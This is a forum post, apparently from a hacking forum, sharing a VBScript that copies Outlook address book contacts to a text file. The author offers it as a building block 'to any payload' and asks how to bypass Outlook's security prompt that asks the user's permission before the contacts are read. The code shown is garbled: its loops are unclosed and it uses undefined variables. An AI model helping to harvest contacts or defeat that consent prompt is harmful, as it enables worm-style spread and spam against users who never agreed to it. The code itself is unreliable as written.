Scratching on Outlook mailing list?


Recommended Posts

It's not a new or brilliant idea, but I've been working a bit in extracting the contacts list from outlook address book.

This implementation made simply to any payload, would be able to extract the contact list to a plain text file.

Set fso = CreateObject("Scripting.FileSystemObject") 
set outlook=WScript.CreateObject("Outlook.Application") 
if Not err=0 then 
msgbox "Outlook is not available."
set mapi=outlook.GetNameSpace("MAPI") 
set MSOfile=fso.CreateTextFile("outlook-contacts.txt")
for ctrentries=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrentries) 
    for countEntries=1 to n.AddressEntries.Count 
        MSOfile.WriteLine contact
end if

Of course, the err check is only for testing purposes. ;)

The problem is the message box of (almost for Outlook 2003) asking for permission for reading the contents of the pst file.

Any ideas on how to bypass the message box, some fix to the code or idea?
